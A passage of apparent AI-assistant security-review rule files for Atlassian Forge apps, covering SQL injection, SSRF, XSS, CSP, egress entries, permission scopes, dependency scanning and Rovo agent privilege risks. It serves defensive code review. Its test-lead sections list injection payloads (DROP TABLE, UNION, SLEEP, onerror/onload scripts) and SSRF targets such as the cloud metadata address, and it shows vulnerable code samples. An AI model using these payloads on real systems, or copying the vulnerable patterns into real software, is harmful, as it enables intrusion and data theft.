```javascript
// CRITICAL - Direct interpolation in executeRaw
const userId = payload.userId;
sql.executeRaw(`SELECT * FROM users WHERE id = ${userId}`);
// CRITICAL - String concatenation
sql.executeRaw("SELECT * FROM users WHERE username = '" + username + "'");
// HIGH - Prepared statement without bindParams
sql.prepare(`SELECT * FROM users WHERE email = '${email}'`).execute();
// HIGH - Template literal in prepare (still vulnerable)
const query = `SELECT * FROM products WHERE category = '${category}'`;
sql.executeRaw(query);
// MEDIUM - Indirect flow through variable
const userQuery = `SELECT * FROM orders WHERE user_id = ${payload.userId}`;
// ... later ...
sql.executeRaw(userQuery);
```
Secure Patterns
```javascript
// SECURE - Parameterized query with bindParams
const query = sql.prepare(`SELECT * FROM users WHERE id = $1`);
query.bindParams({ $1: userId });
await query.execute();
// SECURE - Multiple parameters
const query = sql.prepare(
`SELECT * FROM users WHERE username = $1 AND active = $2`
);
query.bindParams({ $1: username, $2: isActive });
await query.execute();
// SECURE - Named parameters (alternative style)
const query = sql.prepare(
`SELECT * FROM users WHERE email = :email AND role = :role`
);
query.bindParams({ email: userEmail, role: userRole });
await query.execute();
// SECURE - Input validation + parameterization
if (!/^\d+$/.test(userId)) {
throw new Error('Invalid user ID format');
}
const query = sql.prepare(`SELECT * FROM users WHERE id = $1`);
query.bindParams({ $1: parseInt(userId, 10) });
```
Detection Checklist
- [ ] Search for `sql.executeRaw` with template literals or string concatenation.
- [ ] Find `sql.prepare` calls without corresponding `bindParams()`.
- [ ] Trace variables used in SQL strings back to untrusted sources.
- [ ] Check `migrationRunner.enqueue` for dynamic schema/table names.
- [ ] Look for custom "sanitization" functions (often insufficient).
Severity Classification
| Severity | Pattern |
|----------|---------|
| Critical | Direct user input in `sql.executeRaw()` |
| High | `sql.prepare()` without `bindParams()` |
| Medium | Indirect flow with some transformations |
| Low | Input validated against strict allowlist |
Common Pitfalls
```javascript
// WRONG - Numeric values still need binding
sql.executeRaw(`SELECT * FROM products WHERE id = ${productId}`);
// WRONG - Custom escaping is insufficient
const safe = input.replace(/'/g, "''");
sql.executeRaw(`SELECT * FROM users WHERE name = '${safe}'`);
// WRONG - toString() doesn't sanitize
sql.executeRaw(`SELECT * FROM logs WHERE date = '${date.toString()}'`);
```
PoC / Test Leads
- Inject SQL metacharacters: `' OR '1'='1`, `'; DROP TABLE users; --`
- Test UNION-based injection: `' UNION SELECT * FROM sensitive_table --`
- Try time-based blind SQLi: `' AND SLEEP(5) --`
- Test in numeric fields: `1 OR 1=1`
Remediation Guidance (advisory)
- Always use `sql.prepare()` with `bindParams()` for all queries.
- Use positional (`$1`, `$2`) or named (`:param`) parameters.
- Validate input types before use (even with parameterization).
- For dynamic table/column names, use strict allowlists.
- Never use string concatenation or interpolation for SQL.
Semgrep Detection
```yaml
rules:
- id: forge-sql-injection
patterns:
- pattern-either:
- pattern: sql.executeRaw(`... ${$VAR} ...`)
- pattern: sql.executeRaw("..." + $VAR + "...")
- pattern: sql.prepare(`... ${$VAR} ...`).execute()
message: "Potential SQL injection - use bindParams()"
severity: ERROR
```
Reporting Guidance
- Cite file, function, and line where vulnerable SQL construction occurs.
- Show data flow from source (payload/input) to sink (SQL call).
- Provide PoC payload demonstrating injection.
- Map to CWE-89; include severity based on classification table.
---
description: Detect SSRF vulnerabilities in Forge apps via requestJira, requestConfluence, and fetch
globs:
alwaysApply: false
---
Context
- Forge apps can make outbound HTTP requests via `requestJira`, `requestConfluence`, `fetch`, and remote backends. SSRF occurs when user input controls request destinations.
- Related CWE: CWE-918 (Server-Side Request Forgery).
- Forge-specific: The `route` template literal is designed to prevent SSRF; bypassing it is a key vulnerability.
Scope & Signals
- Safe pattern: `route` template literal with validated parameters.
- Dangerous patterns:
- String concatenation in API routes.
- User input in `fetch()` URLs.
- Dynamic URL construction without validation.
- Missing `route` usage with requestJira/requestConfluence.
Vulnerable Patterns
```javascript
// VULNERABLE - String concatenation instead of route
const issueKey = payload.issueKey; // User controlled
await api.requestJira(`/rest/api/3/issue/${issueKey}/comment`);
// Attacker: issueKey = "../../../admin/sensitive"
// VULNERABLE - Direct URL from user input
const webhookUrl = payload.callbackUrl; // User controlled
await fetch(webhookUrl); // SSRF to internal services
// VULNERABLE - User controls path segment
const endpoint = payload.endpoint; // User controlled
await api.requestJira(route`/rest/api/3/${endpoint}`);
// Less obvious but still risky if endpoint can contain ../
// VULNERABLE - User input in fetch without validation
const imageUrl = payload.avatarUrl;
const response = await fetch(imageUrl); // Could be internal URL
// VULNERABLE - Building URL from parts
const host = payload.host;
const path = payload.path;
await fetch(`https://${host}${path}`); // Host/path injection
```
Secure Patterns
```javascript
// SECURE - Using route template literal correctly
import { route } from '@forge/api';
const issueKey = payload.issueKey;
// Route escapes/validates the parameter
await api.requestJira(route`/rest/api/3/issue/${issueKey}/comment`);
// SECURE - Validating before use
const issueKey = payload.issueKey;
if (!/^[A-Z]+-\d+$/.test(issueKey)) {
throw new Error('Invalid issue key format');
}
await api.requestJira(route`/rest/api/3/issue/${issueKey}`);
// SECURE - Allowlist for external URLs
const ALLOWED_HOSTS = ['api.trusted-service.com', 'webhooks.example.com'];
function validateUrl(url) {
const parsed = new URL(url);
if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
throw new Error('URL not in allowlist');
}
if (parsed.protocol !== 'https:') {
throw new Error('HTTPS required');
}
return url;
}
const webhookUrl = validateUrl(payload.callbackUrl);
await fetch(webhookUrl);
// SECURE - Using predefined endpoints only
const ENDPOINTS = {
'issues': '/rest/api/3/issue',
'projects': '/rest/api/3/project'
};
const endpoint = ENDPOINTS[payload.endpointName];
if (!endpoint) {
throw new Error('Unknown endpoint');
}
await api.requestJira(route`${endpoint}`);
```
Detection Checklist
- [ ] Search for `requestJira`, `requestConfluence` without `route` template.
- [ ] Find `fetch()` calls with dynamic URLs.
- [ ] Check for string concatenation in API paths.
- [ ] Trace URL components to user input sources.
- [ ] Verify external URLs are validated against allowlist.
- [ ] Look for URL construction from multiple user inputs.
SSRF Targets in Atlassian Context
```
# Internal services attackers may target:
- Cloud metadata: http://169.254.169.254/
- Internal APIs: http://localhost:*/
- Other tenants: Different cloudId endpoints
- Admin endpoints: /rest/api/3/configuration
```
Route Template Protection
```javascript
// The route`` template literal provides protection:
import { route } from '@forge/api';
// SAFE - route encodes special characters
const userInput = "../admin";
route`/rest/api/3/issue/${userInput}`
// Results in: /rest/api/3/issue/..%2Fadmin (encoded)
// BYPASS ATTEMPT - still safe
const userInput = "TEST-1/../../admin";
route`/rest/api/3/issue/${userInput}`
// Results in properly encoded path
// NOT USING route - VULNERABLE
const path = `/rest/api/3/issue/${userInput}`; // Path traversal works!
```
PoC / Test Leads
- Inject path traversal: `../`, `..%2F`, `..%252F`
- Test internal IPs: `127.0.0.1`, `169.254.169.254`, `[::1]`
- Test URL schemes: `file://`, `gopher://`, `dict://`
- Test DNS rebinding with attacker-controlled domain
- Verify request reaches attacker-controlled server
Remediation Guidance (advisory)
- Always use `route` template literal for Atlassian API calls.
- Validate all URL inputs against strict allowlists.
- Validate hostname, protocol (HTTPS only), and path components.
- Use URL parsing libraries; don't construct URLs via concatenation.
- Block private IP ranges, localhost, and metadata endpoints.
- Implement request timeouts and response size limits.
Reporting Guidance
- Document the vulnerable request construction.
- Show data flow from user input to request URL.
- Provide SSRF PoC (use safe internal webhook catcher).
- Assess reachability of internal services.
- Map to CWE-918; note whether route`` was bypassed or unused.
---
description: Detect Cross-Site Scripting vulnerabilities in Forge Custom UI apps
globs:
alwaysApply: false
---
Context
- Forge Custom UI apps run in iframes and can be vulnerable to XSS when `unsafe-inline` is enabled in the manifest CSP and user content is rendered without sanitization.
- Related CWE: CWE-79 (Cross-Site Scripting).
- Only ~23% of Forge apps (473/2033) enable `unsafe-inline`; focus review on these.
- Reference: Internal Forge VULN Guide to XSS.
Prerequisites for XSS in Forge
1. `unsafe-inline` enabled in manifest:
```yaml
permissions:
content:
scripts:
- 'unsafe-inline'
```
2. User-controlled content rendered without sanitization.
Scope & Signals
- Primary sink: `dangerouslySetInnerHTML` in React components.
- Secondary sinks: Direct DOM manipulation (`innerHTML`, `outerHTML`, `insertAdjacentHTML`).
- Sources: Data from Atlassian APIs, storage, web triggers, user input forms.
- Note: Some Atlassian API responses are already HTML-escaped (e.g., storage API).
Vulnerable Patterns
```javascript
// VULNERABLE - dangerouslySetInnerHTML with user content
function CommentDisplay({ comment }) {
return (
<div dangerouslySetInnerHTML={{ __html: comment.body }} />
);
}
// VULNERABLE - Direct HTML from API response
function RenderContent({ content }) {
// If content comes from untrusted source
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
// VULNERABLE - String replacement doesn't sanitize
const HtmlTag = (text) => {
let temp = `<span>${text.replaceAll('\\n', '</br>')}</span>`;
return <div dangerouslySetInnerHTML={{ __html: temp }} />;
};
// VULNERABLE - Direct DOM manipulation
document.getElementById('output').innerHTML = userData;
```
Secure Patterns
```javascript
// SECURE - Use DOMPurify to sanitize
import DOMPurify from 'dompurify';
function SafeHtmlDisplay({ htmlContent }) {
const sanitized = DOMPurify.sanitize(htmlContent);
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
// SECURE - Use React's default escaping (no dangerouslySetInnerHTML)
function CommentDisplay({ comment }) {
return <div>{comment.body}</div>; // React escapes by default
}
// SECURE - Use text content instead of HTML
function TextDisplay({ text }) {
return <pre>{text}</pre>;
}
// SECURE - Allowlist-based HTML rendering
import { sanitize } from 'isomorphic-dompurify';
function RichTextDisplay({ content }) {
const clean = sanitize(content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: []
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```
Detection Checklist
- [ ] Check manifest for `unsafe-inline` in `permissions.content.scripts`.
- [ ] If enabled, search for `dangerouslySetInnerHTML` usage.
- [ ] Trace the HTML content source - is it user-controlled?
- [ ] Check for DOMPurify or similar sanitization before rendering.
- [ ] Look for direct DOM manipulation (`innerHTML`, `outerHTML`).
- [ ] Review library code separately from app code (reduce false positives).
Always verify by testing - don't assume sanitization:
```javascript
// Test input
<p><script>console.log("XSS")</script></p>
// If sanitized, you'll see escaped output:
<p><script>...
```
False Positive Indicators
- Static/constant HTML strings (not user-controlled).
- CSS-in-JS libraries (styled-components) using dangerouslySetInnerHTML for styles.
- Content from Atlassian endpoints that sanitize (verify with testing).
- Multiple-choice or enum-only user input (no free text).
Severity Assessment
| Factor | Higher Severity | Lower Severity |
|--------|-----------------|----------------|
| Content source | Direct user input | Indirect/transformed |
| Persistence | Stored XSS | Reflected XSS |
| Target | Other users | Same user only |
| Context | Admin panels | Low-privilege areas |
PoC / Test Leads
- Input: `<img src=x onerror=alert(1)>`
- Input: `<script>console.log('XSS')</script>`
- Input: `<svg onload=alert(1)>`
- Test in Jira issue fields, Confluence page content, comments, custom fields.
- Verify if XSS triggers when another user views the content.
Remediation Guidance (advisory)
- Remove `unsafe-inline` from CSP if possible.
- Use React's default escaping (avoid dangerouslySetInnerHTML).
- When HTML rendering is required, use DOMPurify with strict allowlists.
- Validate and sanitize at the point of use, not just input.
- Consider using Atlassian's UI Kit components which handle escaping.
Reporting Guidance
- Note whether `unsafe-inline` is enabled in manifest.
- Document the data flow from source to dangerouslySetInnerHTML.
- Distinguish between stored (higher severity) and reflected XSS.
- Provide PoC payload that demonstrates script execution.
- Map to CWE-79; classify as Stored/Reflected/DOM-based.
---
description: Forge manifest and platform configuration rules index. Auto-attached for forge-manifest-config/**
globs:
- forge-manifest-config/**
alwaysApply: false
---
- Scope: Manifest.yml configuration, permission scopes, CSP settings, runtime versions, and module definitions.
- Priority: Manifest misconfigurations are foundational security issues affecting all app operations.
Key Forge Manifest/Config Risks
- Excessive permission scopes: Requesting more scopes than needed violates least privilege.
- Unsafe CSP directives: `unsafe-inline`, `unsafe-eval` in `permissions.content.scripts`.
- Deprecated Node.js runtime: Using EOL runtimes that lack security updates.
- Overly permissive module access: Modules exposed without appropriate restrictions.
- Missing data residency declarations: Required for certain compliance contexts.
Subrules
- Permission Scopes Review → `@forge-manifest-config/permission-scopes.mdc`
- Bad Practices with Egress Rule Entries -> `@forge-manifest-config/egress-url-entries.mdc`
- Content Security Policy → `@forge-manifest-config/content-security-policy.mdc`
<!-- - Runtime Version Security → `@forge-manifest-config/runtime-version.mdc`
- Module Configuration → `@forge-manifest-config/module-configuration.mdc` -->
Detection Heuristics
- Parse manifest.yml and list all declared scopes; compare against actual API usage.
- Check `permissions.content.scripts` for `unsafe-inline` or `unsafe-eval`.
- Verify `app.runtime.name` uses a supported, non-deprecated Node.js version.
- Review module definitions for function bindings and access patterns.
Manifest Review Checklist
- [ ] All scopes are justified by actual API calls in code
- [ ] No `unsafe-inline` or `unsafe-eval` in CSP (unless XSS mitigations documented)
- [ ] Runtime version is current and supported
- [ ] External permissions use explicit domains (no wildcards)
- [ ] Web triggers have documented authentication strategy
- [ ] Remotes have appropriate operations and auth configured
CWE References
- CWE-16: Configuration
- CWE-732: Incorrect Permission Assignment
- CWE-269: Improper Privilege Management
- CWE-1188: Insecure Default Initialization of Resource
---
description: Detect insecure Content Security Policy configurations in Forge app manifests
globs:
alwaysApply: false
---
Context
- Forge Custom UI apps can configure CSP via `permissions.content` in manifest.yml. Unsafe directives like `unsafe-inline` and `unsafe-eval` enable XSS attacks.
- Related CWE: CWE-16 (Configuration), CWE-79 (XSS via CSP bypass).
- Only ~23% of Forge apps enable `unsafe-inline`; these require extra scrutiny.
Scope & Signals
- Manifest location: `permissions.content.scripts`, `permissions.content.styles`.
- Dangerous directives:
- `unsafe-inline` - Allows inline `<script>` tags (XSS vector)
- `unsafe-eval` - Allows `eval()`, `Function()`, etc.
- Overly broad sources: `*`, `https:`
- Note: Forge provides default CSP restrictions; apps opt out by adding these.
Vulnerable Patterns
```yaml
# HIGH RISK - Both unsafe directives
permissions:
content:
scripts:
- 'unsafe-inline'
- 'unsafe-eval'
# HIGH RISK - unsafe-inline enables XSS
permissions:
content:
scripts:
- 'unsafe-inline'
# HIGH RISK - unsafe-eval enables code injection
permissions:
content:
scripts:
- 'unsafe-eval'
# HIGH RISK - Wildcard script sources
permissions:
content:
scripts:
- '*'
- 'https:'
# MEDIUM RISK - Broad CDN sources
permissions:
content:
scripts:
- 'https://cdn.jsdelivr.net' # Hosts arbitrary user content
- 'https://unpkg.com'
```
Secure Patterns
```yaml
# SECURE - Specific trusted sources only
permissions:
content:
scripts:
- 'https://specific-cdn.example.com/lib.js'
styles:
- 'https://fonts.googleapis.com'
# SECURE - No unsafe directives (default)
permissions:
content:
styles:
- 'https://fonts.googleapis.com'
# scripts section omitted = no additional script sources
# BEST - No content permissions needed
# Rely on bundled code, no external resources
```
Detection Checklist
- [ ] Parse manifest.yml `permissions.content` section.
- [ ] Flag `unsafe-inline` in scripts (enables XSS).
- [ ] Flag `unsafe-eval` in scripts (enables code injection).
- [ ] Check for wildcard or overly broad sources.
- [ ] Verify external script sources are trustworthy and necessary.
- [ ] Cross-reference with XSS findings (unsafe-inline + dangerouslySetInnerHTML).
Risk Assessment Matrix
| Directive | Risk | Enables |
|-----------|------|---------|
| `unsafe-inline` | High | XSS via inline scripts |
| `unsafe-eval` | High | Code injection via eval |
| `*` | Critical | Any external scripts |
| `https:` | High | Any HTTPS source |
| `data:` | Medium | Data URI scripts |
| Specific CDN | Medium | Depends on CDN content |
Common Justifications (Assess Validity)
```yaml
# "We need inline scripts for React"
# INVALID - React works fine without unsafe-inline
# Solution: Use bundled code, avoid inline event handlers
# "We use a charting library that requires eval"
# QUESTIONABLE - Modern libraries shouldn't require eval
# Solution: Find alternative library or update version
# "We dynamically load scripts"
# VALID USE CASE but needs scrutiny
# Solution: Use specific URLs, not wildcards
```
CDN Risk Assessment
```yaml
# HIGH RISK CDNs (host user-uploaded content)
- 'https://cdn.jsdelivr.net' # npm packages, user controlled
- 'https://unpkg.com' # npm packages
- 'https://cdnjs.cloudflare.com' # Generally trusted but broad
# If CDN is needed, prefer specific paths:
permissions:
content:
scripts:
# Specific version and file
- 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js'
```
PoC / Test Leads
- If `unsafe-inline` present, check for `dangerouslySetInnerHTML` (XSS combo).
- If `unsafe-eval` present, look for code injection sinks.
- Test XSS payloads against apps with relaxed CSP.
- Verify necessity of each external source.
Remediation Guidance (advisory)
- Remove `unsafe-inline`: Bundle all JavaScript, avoid inline handlers.
- Remove `unsafe-eval`: Update libraries, avoid dynamic code execution.
- Replace wildcards with specific domains/paths.
- Audit necessity of each external source.
- Use subresource integrity (SRI) for external scripts where possible.
- If `unsafe-inline` is truly required, document the justification and ensure no XSS sinks exist.
Reporting Guidance
- Document exact CSP configuration from manifest.
- Explain what attacks each unsafe directive enables.
- Cross-reference with other findings (XSS sinks, eval usage).
- Provide specific recommendations for removal.
- Map to CWE-16; note impact on CWE-79 (XSS) exploitability.
---
description: Review Forge app egress list for misleading entries
globs:
alwaysApply: false
---
Context
- Forge apps are only permitted to `fetch()` or otherwise access domains declared in their manifest for this purpose
- Network requests are actively blocked if the target domain does not match an entry in this list
- The app manifest allows entries to specify not just a domain, but a full URI with protocol and path
- There is divergent behavior between frontend and backend Forge app code:
- On frontend: the target URI must fully match an entry in the list
- On backend: the target **domain**, NOT the target **URI**, must match a **domain** in the list
- Entries that specify a protocol and path will only match the **domain**, the rest is **ignored**
- Some apps rely on this permission list to skip input validation when dynamically constructing URIs in a request
- Since the behavior is unexpectedly less restrictive in the backend context, some network requests that the app expects are impossible may be allowed
- This issue presents an easy way for an app to incorrectly prevent SSRF and SSRF-like VULNs
Scope & Signals
- Manifest location: `permissions.external`
- Risk indicators:
- Any of the entries under this manifest key specify a URL protocol or URL path
Detection Process
```
1. Extract all `address` keys from any of the transitive subkeys of this manifest path
2. For each address:
- Check if the address specifies a URI protocol string
- Check if the address specifies a URI path
- Check if the address specifies a URI query string
3. For each address that meets any of these conditions:
- Check if the domain from this URI is mentioned in a `fetch()` call or other network access (i.e. referenced in an html or JSX/TSX element attribute, XMLHTTPRequest, etc.)
- Check if this fetch call parameterizes the URI path
- Check if the parameterization is demonstrably static or not
- If static, this is safe. If there is ANY doubt if the parameterization originates from dynamic user input, this is not demonstrably safe.
4. Each address that meets any of the conditions in (3) is a likely detection
```
Analysis Patterns
```yml
permissions:
external:
images:
- address: https://image.example.net/foo/commons/2/20/image.jpg
- address: https://image.example.net/foo/commons/2/20/image1.jpg
- address: ftp://an.example.domain.net/some/example/path.txt
- address: example-proto://an.example.domain.net/some/example/path.txt
```
```jsx
// Search for fetch calls relying on permissions entries with URI protocols or paths
// An example of a fetch call expecting the path to be checked
const result = await fetch(
`https://image.example.net/foo/commons/2/20/${image_name}.jpg`
);
// An example of a fetch call that expects the protocol to be verified
const result = await fetch(
`${selected_protocol}://an.example.domain.net/some/example/path.txt`
);
// An example of a SAFE parameterized fetch:
if (selected_protocol == 'ftp' || selected_protocol == 'http') {
// The interpolated string has been explicitly checked, instead of relying on the manifest entries
const result = await fetch(
`${selected_protocol}://an.example.domain.net/some/example/path.txt`
);
}
// This is also a safe usage
if (selected_protocol != 'ftp') {
throw new Error('');
}
// Because if the selected_protocol is not 'ftp', an exception is thrown and this is never reached
const result = await fetch(
`${selected_protocol}://an.example.domain.net/some/example/path.txt`
);
// If validation would not filter out at least one of the possible values disallowed by the manifest, then it is
// insufficient, and still indicates a likely reliance on the misunderstood behavior
// An example of a SAFE usage
// This usage is SAFE because no part of the protocol or path was parameterized, so the egress list is not
// relied on
// Note that this is not actually an interpolation, though it appears to be at first glance
() => {
return (
<>
<img src={'https://image.example.net/foo/commons/2/20/${image_name}.jpg'}>
</>
);
};
```
Reporting Guidance
- Call out any usages of flagged URIs being used in ways similar to the analysis patterns
- If such a usage is safe, do not call it out. Only give a **brief** indication that the manifest
contains flagged URIs. DO NOT include the full URIs. Aim for brevity, not verbosity.
- Explain that when accessing from the backend, all parts except the domain and port are ignored
- Therefore, the app MUST NOT expect the URI to be checked against the `permissions.external` address keys
- This issue is not necessarily a vulnerability, BUT it is **strong evidence** of missing SSRF protections. Check if SSRF is actually present using your other relevant rules, and flag it if it is.
---
description: Review Forge app permission scopes for least privilege and scope justification
globs:
alwaysApply: false
---
Context
- Forge apps declare required scopes in `permissions.scopes` in manifest.yml. Excessive scopes violate least privilege and increase impact if the app is compromised.
- Related CWE: CWE-269 (Improper Privilege Management), CWE-732 (Incorrect Permission Assignment).
- Scope review is a key part of Marketplace security requirements.
- Broad scopes risks are low severity issues
Scope & Signals
- Manifest location: `permissions.scopes[]`
- Risk indicators:
- Scopes not used by any code path.
- Write scopes when only read is needed.
- Admin scopes for non-admin functionality.
- Broad scopes when narrow alternatives exist.
Scope Categories
```yaml
# READ scopes (lower risk)
- read:jira-work
- read:confluence-content.all
- read:me
# WRITE scopes (higher risk)
- write:jira-work
- write:confluence-content.all
# ADMIN scopes (highest risk)
- manage:jira-configuration
- manage:confluence-configuration
# USER IMPERSONATION (special concern)
- act:jira
- act:confluence
```
Detection Process
```
1. Extract scopes from manifest.yml
2. For each scope:
a. Search codebase for APIs requiring this scope
b. If no usage found → flag as potentially unnecessary
c. If write scope → verify write operations exist
d. If admin scope → verify admin functionality
3. Check for scope upgrades (read → write → admin)
4. Verify scope justification in Marketplace listing
```
Analysis Patterns
```javascript
// Search for scope-requiring API patterns:
// read:jira-work
api.requestJira(route`/rest/api/3/issue/${issueId}`, { method: 'GET' })
// write:jira-work
api.requestJira(route`/rest/api/3/issue/${issueId}`, { method: 'PUT' })
api.requestJira(route`/rest/api/3/issue`, { method: 'POST' })
// read:confluence-content.all
api.requestConfluence(route`/wiki/api/v2/pages/${pageId}`)
// storage scopes
storage.get(), storage.set() // Requires storage:app
// manage scopes
api.requestJira(route`/rest/api/3/project`, { method: 'POST' })
```
Common Over-Privileged Patterns
```yaml
# OVER-PRIVILEGED - Write scope but only reads data
permissions:
scopes:
- write:jira-work # But code only calls GET endpoints
# OVER-PRIVILEGED - Admin scope for display-only feature
permissions:
scopes:
- manage:jira-configuration # Only reads config, doesn't manage
# OVER-PRIVILEGED - Broad scope when specific exists
permissions:
scopes:
- read:jira-work # When only read:jira-work:issue needed
```
Detection Checklist
- [ ] List all scopes from manifest.yml.
- [ ] For each scope, grep for API calls requiring that scope.
- [ ] Flag scopes with no corresponding API usage.
- [ ] Check if write scopes could be replaced with read scopes.
- [ ] Verify admin scopes are justified by admin functionality.
- [ ] Compare against Marketplace listing scope justifications.
- [ ] Note any scopes added but not yet used (future features?).
Scope to API Mapping (Examples)
| Scope | Required For |
|-------|--------------|
| `read:jira-work` | GET issue, search, project info |
| `write:jira-work` | POST/PUT/DELETE issues, comments |
| `read:confluence-content.all` | GET pages, spaces |
| `write:confluence-content.all` | Create/update pages |
| `storage:app` | Forge storage API |
| `read:me` | Get current user info |
PoC / Test Leads
- Remove unused scope and verify app still functions.
- Downgrade write to read scope and check for failures.
- Map each API call to its required scope.
Remediation Guidance (advisory)
- Remove all scopes not required by actual code paths.
- Downgrade write scopes to read where writes aren't performed.
- Replace broad scopes with more specific alternatives.
- Document justification for each remaining scope.
- Implement scope review as part of deployment checklist.
- Consider future features separately (add scopes when needed).
Reporting Guidance
- List all declared scopes with usage status.
- Highlight unused or over-privileged scopes.
- Provide specific downgrade recommendations.
- Note impact of each unnecessary scope.
- Map to CWE-269; reference least privilege principle.
---
description: Forge miscellaneous security rules index. Auto-attached for forge-misc/**
globs:
- forge-misc/**
alwaysApply: false
---
- Scope: Software composition, deprecated runtimes, and other security concerns not covered by primary categories.
Subrules
- Software Composition Analysis → `@forge-misc/software-composition.mdc`
<!-- - Third-Party Integration Review → `@forge-misc/third-party-integrations.mdc` -->
Key Miscellaneous Concerns
- Dependencies with known vulnerabilities (CVEs).
- Deprecated or EOL Node.js runtime versions.
- External AI integration compliance risks.
- Undisclosed third-party integrations processing user data.
Detection Heuristics
- Run SCA tools (Snyk, npm audit) on package.json/package-lock.json.
- Check manifest `app.runtime.name` against Forge-supported versions.
- Review code and documentation for AI-related imports or API calls.
- Identify all external services and verify disclosure in privacy/security tab.
CWE References
- CWE-1104: Use of Unmaintained Third Party Components
- CWE-1395: Dependency on Vulnerable Third-Party Component
---
description: Software Composition Analysis for Forge app dependencies
globs:
alwaysApply: false
---
Context
- Forge apps depend on npm packages that may contain known vulnerabilities. SCA identifies CVEs in dependencies.
- Related CWE: CWE-1104 (Use of Unmaintained Third Party Components).
- Required for Marketplace security compliance.
SCA Tools and Commands
```bash
# npm audit (built-in)
npm audit --json > npm-audit.json
npm audit fix # Auto-fix where possible
# Snyk (recommended)
snyk test --json > snyk-results.json
snyk monitor # Continuous monitoring
# OSV Scanner (Google)
osv-scanner --lockfile=package-lock.json
# Trivy
trivy fs --scanners vuln .
```
Key Vulnerability Patterns for Forge
| Package | Vulnerability Type | Forge Impact |
|---------|-------------------|--------------|
| lodash < 4.17.21 | Prototype Pollution | asUser→asApp escalation |
| axios < 0.21.1 | SSRF | Request forgery |
| minimist < 1.2.6 | Prototype Pollution | Various |
| node-fetch < 2.6.7 | Header injection | Request manipulation |
| jsonwebtoken < 9.0.0 | JWT bypass | Auth bypass |
Detection Process
```bash
# 1. Check for vulnerable packages
npm audit
# 2. Detailed analysis
npm ls lodash # Check specific package version
# 3. Review for Forge-specific risks
# Check if vulnerable package is used in:
# - Resolver code (backend)
# - Custom UI (frontend)
# - Build process only (lower risk)
```
Interpreting Results
```
┌───────────────┬──────────────────────────────────────────────────────┐
│ Severity │ Action Required │
├───────────────┼──────────────────────────────────────────────────────┤
│ Critical │ Immediate update or removal │
│ High │ Update before next release │
│ Medium │ Plan update; assess exploitability │
│ Low │ Track; update during maintenance │
└───────────────┴──────────────────────────────────────────────────────┘
```
Example Analysis
```bash
# npm audit output
┌───────────────┬──────────────────────────────────────────────────────┐
│ High │ Prototype Pollution in lodash │
├───────────────┼──────────────────────────────────────────────────────┤
│ Package │ lodash │
│ Dependency of │ some-package │
│ Path │ some-package > lodash │
│ More info │ https://npmjs.com/advisories/1065 │
└───────────────┴──────────────────────────────────────────────────────┘
# Resolution
npm update lodash
# or if nested dependency:
npm update some-package
# or force resolution in package.json:
"overrides": {
"lodash": "^4.17.21"
}
```
Detection Checklist
- [ ] Run `npm audit` and record findings.
- [ ] Run Snyk or alternative SCA tool.
- [ ] Check for Forge-specific high-risk packages (lodash, axios).
- [ ] Assess if vulnerable code paths are reachable.
- [ ] Verify build-only dependencies vs runtime dependencies.
- [ ] Check for outdated but not yet vulnerable packages.
False Positive Handling
```
# Some vulnerabilities may not apply:
1. Build-only dependencies
- Vulnerability in webpack plugin
- Not included in runtime bundle
- Lower risk but should still update
2. Unused code paths
- Vulnerable function not imported
- Assess actual usage
3. Mitigated by Forge platform
- Some network-level vulns blocked by Forge egress controls
```
Remediation Approaches
```bash
# 1. Direct update (preferred)
npm update package-name
# 2. Force specific version
npm install package-name@fixed-version
# 3. Override nested dependency
# In package.json:
{
"overrides": {
"vulnerable-package": "^fixed.version"
}
}
# 4. Replace package entirely
npm uninstall old-package
npm install alternative-package
```
Reporting Guidance
- List all vulnerabilities with severity, package, and CVE.
- Note which are runtime vs build-only dependencies.
- Assess exploitability in Forge context.
- Provide specific version upgrade paths.
- Map to CWE-1104; include CVE references.
CI/CD Integration
```yaml
# In bitbucket-pipelines.yml
- step:
name: Dependency Scan
script:
- npm audit --audit-level=high
- snyk test --severity-threshold=high
# Fail build on high/critical vulnerabilities
```
---
description: Forge Rovo agents rules index. Auto-attached for forge-rovo-agents/**
globs:
- forge-rovo-agents/**
alwaysApply: false
---
- Scope: Security considerations specific to Forge Rovo agents, actions, and LLM-driven functionality.
- Priority: Emerging attack surface with unique privilege escalation and injection risks.
Key Forge Rovo Agent Risks
- A4J running with elevated privileges: Agents executing actions with asApp() without proper authorization checks.
- Known AuthZ gap (AGRC-15320): Agents can execute actions with higher privileges than intended.
- LLM-generated URL risks: SSRF and data egress when agents render or fetch LLM-generated URLs.
- Browser context consumption: Agents consuming user-controlled browser context URLs.
- Cross-site/cross-product access: Custom agents providing unintended access across products.
- App access rules bypass: Forge agents may not respect app access restriction rules.
Subrules
- Agent Privilege Escalation → `@forge-rovo-agents/agent-privilege-escalation.mdc`
- LLM Output Injection → `@forge-rovo-agents/llm-output-injection.mdc`
<!-- - Agent Action Authorization → `@forge-rovo-agents/agent-action-authz.mdc`
- Cross-Product Access Controls → `@forge-rovo-agents/cross-product-access.mdc` -->
- Prefer Using Function Context Object → `@forge-authn-authz/prefer-context-authz.mdc`
- Use this rule if any agents have declared `actions` keys under `modules.rovo:agent` entries in their manifest
Detection Heuristics
- Identify Rovo action modules in manifest and their associated functions.
- Check for `asApp()` usage in agent actions without explicit permission validation.
- Look for URL handling from LLM outputs without validation.
- Review agent configurations for cross-product scope declarations.
Rovo-Specific Caveats
- Rovo Forge Actions documentation lacks guidance on asUser vs asApp (unlike regular Forge Actions).
- Authorization checks must happen before Forge function invocation; Convo AI should not allow unauthorized actions on restricted content.
- Browser context URLs are user-controlled and must not be trusted.
Agent Authorization Pattern
```javascript
// INSECURE - asApp without checks
export async function agentAction(payload) {
const api = asApp();
await api.requestJira(route`/rest/api/3/issue/${payload.issueId}`);
}
// SECURE - verify permissions first
export async function agentAction(payload, context) {
// Verify the requesting user has permission
const hasPermission = await checkUserPermission(context.accountId, payload.issueId);
if (!hasPermission) {
throw new Error('Unauthorized');
}
const api = asApp();
await api.requestJira(route`/rest/api/3/issue/${payload.issueId}`);
}
```
CWE References
- CWE-862: Missing Authorization
- CWE-918: Server-Side Request Forgery
- CWE-74: Improper Neutralization of Special Elements (Injection)
- CWE-269: Improper Privilege Management
---
